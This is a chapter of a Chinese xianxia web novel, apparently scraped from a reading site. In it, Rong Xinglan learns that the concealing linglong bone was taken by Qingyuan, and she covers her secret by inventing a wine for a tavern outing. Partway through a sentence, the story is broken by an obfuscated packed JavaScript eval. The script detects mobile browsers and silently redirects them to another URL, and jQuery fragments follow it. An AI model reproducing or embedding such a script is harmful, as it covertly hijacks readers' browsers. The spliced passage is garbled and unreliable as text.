37.玲珑骨(二十)

作品:《就你有师兄?

    在文徽徽儿时,爹娘身为扶苍山内门弟子,常随其他内门弟子一起出山除祟,却在一次除祟时,只有娘一人归来。


    归来后,娘便卧病不起,掌门亲临慰问。待掌门走后,她便成了外门弟子,与其他外门弟子一起修行,学习炼器之道。


    爹娘擅炼器,她儿时亦对炼器感兴趣,自幼常去他们书房中翻阅炼器的书籍。


    娘病后,她仍前往书房学习,却在一本书中,翻到了一张不似器物的画稿。


    画上是一条大河,河中两条弯弯折折的长线,看上去,似河中还有一条河。


    自从在万象境中见了陡然出现的地裂,她立即想到了那张画稿,便知画稿上横亘河中的根本不是河,而是裂缝。


    “河中裂缝。”容星阑低喃,与常昭言所说莽荒鬼山冥河中的裂缝对上了。


    如此说来,让文徽徽爹娘一人失踪,一人重病的地方,就是莽荒鬼山冥河底部的地裂。


    *


    文徽徽受的伤虽然重,但在药香峰中将养几日,也好了大半,只是近日最好不要使用灵力。


    他们此次采野收获颇丰,采野的东西一般都出售给宝月阁,有了上一次宝月阁的教训,容星阑暂时不想出山,文徽徽带他们去了外门弟子间私设的典当行。


    昆吾给一心向剑但无师承者的弟子专设了一座小峰居住,峰上竹楼错落林中,容星阑一行人跟着文徽徽左拐右拐,走进一个藏得极深的楼里,路过的人也没觉得有人前来有何不妥,各自做着自己的事。


    随着文徽徽极有手法的拨了拨门前的风铃,一撩门帘,里面豁然开朗,竟是一条长长的巷道。


    容星阑和陈辞对视一眼,走进巷道中。


    荀陆机啧了一声:“文徽徽,你们扶苍山的器修把生意都做到昆吾来了。”


    文徽徽继续在前带路:“普通的空间术法而已,我们现在在山峰内部。”


    她猛地回头,突然道:“你不要总是你们扶苍山你们扶苍山的叫,不是每个人都能选择自己要走哪一条路,修那一条道。”


    荀陆机顿了顿,不知想到什么,十分好说话的道:“好,我以后不说就是了。”


    转眼又嬉笑道:“若是可以,你弃了扶苍山,来昆吾做我师妹,我罩着你啊。”


    文徽徽没有回头,也没有说话,停在一个黑沉沉的小门旁,道:“就是这里了。”


    门内人声沸杂,里面似一个茶楼,外门弟子在里面吃茶聊着八卦,最里面有一柜台,有人在那典当物什。


    容星阑慢步走着,因为她听到有人在讨论宝月阁一事。


    “你们听说了没,宝月阁闭门好几日了。”


    “难怪这几日这里人比往常多了一倍,原是宝月阁没开。”


    有人疑道:“宝月阁也会闭门?百年来头一回见,是发生了什么事?”


    那人压低声音:“听说宝月阁关了不该关的人,被幽冥者找上门,杀了半个宝月阁的人。”


    容星阑不由向那人瞟了一眼,事情似乎确实是这样,但是此人这样一说,怎么感觉怪怪的。


    她走路的动作一停,陈辞跟在她身后,冷冽的香气随着宽厚的身体撞上来,道:“怎么了?”


    容星阑摇摇头,继续走。


    陈辞道:“日后若再下山,我和你一道。”


    容星阑不禁停步,回头看了他一眼。原来他方才听到了,她问道:“要是耽误小师兄练剑怎么办?”


    陈辞:“不会。”


    容星阑:“要是你先不理我,怎么办?”


    陈辞:“不会。”


    “我不会不理你。”


    容星阑:“要是我下山很久,去很远的地方,你也一同去吗?”


    陈辞:“是。”


    容星阑:“要是我再也不能回昆吾,你也和我一起吗?”


    陈辞看着她的眼睛:“是。”


    “不会有这样一天。”


    荀陆机在柜台上清点自己的灵草,回头见他们还没跟来,喊道:“你们俩干什么呢,快点!”


    文徽徽无言地看了看他,站得离他远了点,忍住没有开口。


    他迟早被陈辞追着拔剑。


    *


    每人都采了不少上品灵草、灵果,还有极品阴阳草,容星阑从小厮送来的沉甸甸的灵石袋中取出一枚中品灵石给荀陆机,道:“师兄,青荷剑的钱,还你。”


    荀陆机:“这么客气做什么,师兄送你了。”


    容星阑收回中品灵石,爽快道:“好。”


    荀陆机:“……”


    倒也不必这么爽快。


    平常人不都是要推三阻四,最后再顺势收下么。


    他转头看向文徽徽,就听她道:“荀师兄大方,药钱我就不还了,多谢荀师兄好意。”


    荀陆机:“……”


    谁不要她还了!青荷剑才三百五十块下品灵石,妙娥真人开的灵药可是几十上品灵植啊,换算下来,都够买十来万支青荷剑了!


    这次采野,他总共也只卖了几十上品灵石。


    容星阑闻言,笑着道:“荀师兄对朋友也太大方了,是世界上最大方的师兄。”


    荀陆机瞬间骄傲扬脸,道:“对。”


    “不过。”他道,“要说大方嘛,还是清元更大方。”


    容星阑疑惑地看他,荀陆机凑近小声道:“他不是送了你一串玲珑骨嘛,那才真是价值连城。”


    “玲珑骨?”


    容星阑惊疑,坏头蛇不是说此乃她的机缘,感应到她的召唤,自行出现的吗?


    难道竟是清元送的?


    她不禁回想那日,她自白驹香车内醒来,还未醒来之时就听见清元的声音,莫非是趁她未醒之时给她戴在了手腕上?


    玲珑骨,藏息之物。


    若真是清元师兄送的,此举又有何用意?他是知晓她鬼君的身份了吗?


    若是知晓她的身份,又何必替她遮掩,昆吾乃正道仙宗,不是应该对邪魔外道恨之入骨、除之后快吗?


    容星阑稳住心神,道:“你怎知是他送的?”


    荀陆机:“那日从宝月阁回来,我就纳闷,道隐师叔到底欠了宝月阁多少钱,竟使阁主常老板要将我们双双扣下讨债。我就问了问空师姐。”


    “这才知道,起因在清远师兄身上。”


    “清元师兄花钱本就大手大脚,本来也没什么,小打小闹,宝月阁任他赊账。就是那一回,忽然间宝月阁和清元师兄势不两立,找上道隐师叔,道隐直道谁欠的找谁还,这梁子就算是结下了。最后还是我师父好说歹说,才将宝月阁的人请了回去。”


    “我就暗自打听,那一回清元师兄到底买了何物。打听许久,才从宝月阁阁主的亲姐姐夫婿的侄子家的洗菜阿婆那里打听到,清元师兄买走的,正是玲珑骨。”


    “说是买走的,实际上是清元师兄趁小厮不备,抢走的。”


    “又想起那日在林中,你说你有玲珑骨,那不是清元师兄送的,会是谁送的?”


    陈辞的声音冷不丁地从二人身后传来:“在说什么?”


    事关玲珑骨,容星阑忙道:“没什么。”


    荀陆机:“没啥大事,就是清……”


    容星阑生怕陈辞知晓她鬼君的身份,一急之下,嘴巴比脑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102252|193063||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    袋快,接道:“就是清风明月山间酒,哦对,荀师兄方才说,他知道一家酒馆,特别好喝,他说要请我们喝酒。”


    容星阑暗暗掐了荀陆机一把,眼神坚定,暗含期冀地看着他:“是吧,荀师兄。”


    荀陆机呆了一瞬,道:“啊?啊……对,我准备请你们喝酒。”


    他不确定地看向容星阑:“喝什么酒来着?”


    容星阑:“……”


    她一时嘴快,自己也不知道自己说了个什么酒。


    文徽徽:“清风明月山间酒。”


    荀陆机:“啊对,就是这个酒。”


    文徽徽噙着笑:“荀师兄,这名字是店家取的吗?”


    荀陆机:“……对。”


    文徽徽:“这店家取的酒名还蛮别致的。”


    荀陆机:……


    容星阑:……


    陈辞面无表情地问:“哪家酒馆?”


    荀陆机:“就在昆吾境内逍遥酒馆内。”


    容星阑:“在昆吾山下,还是算了……”


    陈辞看了眼荀陆机,又看了看容星阑,语调毫无起伏:“到底在哪。”


    荀陆机:“昆吾山下。”


    容星阑:“逍遥酒馆。”


    陈辞定定地看着容星阑,容星阑本就心虚,愈发不敢和他对上目光,低头道:“荀师兄说要请喝酒,酒馆在哪里荀师兄才知道,我才进昆吾多久,不太了解。”


    她心中默念:荀师兄,一定要说是在昆吾山下,这样就不必去喝这顿酒了。


    荀陆机脑袋飞快地思索:星阑师妹既然说要喝酒,那就喝,她对昆吾不甚熟悉,但是他熟悉啊,更何况师妹最后说了逍遥酒馆,便道:“逍遥酒馆。”


    容星阑:……行。


    喝酒好过被他得知自己鬼君的身份。


    上一次喝酒,还是除夕前夕,阿爹刚回来的时候,她和陈辞还有爹娘一起,小酌了一点。她记得那日陈辞似乎喝了许多。


    容星阑道这才敢抬头看陈辞:“小师兄,走罢,今日便喝个尽兴。”


    她揽上文徽徽,小声问:“怎么昆吾境内还有酒馆?”


    文徽徽平静道:“剑修都是疯子,喝了酒,练剑练得更疯了。”


    *


    逍遥峰上,逍遥酒馆内。


    容星阑环视酒馆,酒馆不大,但十分精致,似乎有人时常在打理。


    里面人不算多,但是买酒的剑修却不少,买酒的方式也简单粗暴,门外檐下有排酒架,架上摆满酒罐,架旁掉了一个竹篮,里面放满了灵石。


    四人落座,荀陆机道:“阿献,来一壶……咳,来一壶我常喝的酒。”


    里屋内走出一名面容温婉的少女,年岁不大,容星阑惊讶的是,这少女毫无灵根,竟是一名凡尘女子。


    她见了荀陆机,婉顺一笑,道:“荀师兄好久不来了,今日还是喝忘尘吗?”


    陈辞喝茶:“不是清风明月山间酒吗?”


    容星阑呛了一口茶。


    荀陆机:神他天王老子的清风明月山间酒。


    荀陆机朝阿献疯狂眨眼:“对,就是清风明月山间酒。”


    阿献看出几人之间的微妙气氛,低声轻轻一笑,道:“荀师兄带了朋友来,自然要喝‘清风明月山间酒’。”


    荀陆机脸上笑得有点僵,道:“再来几份小菜。”


    文徽徽对她笑着道:“有劳。”


    不多时,阿献端了一壶酒出来,在桌上轻轻一放,柔声道:“这便是‘清风明月山间酒’,师兄师姐们请用。”


    荀陆机:……


    今夜是逃不过这一茬了。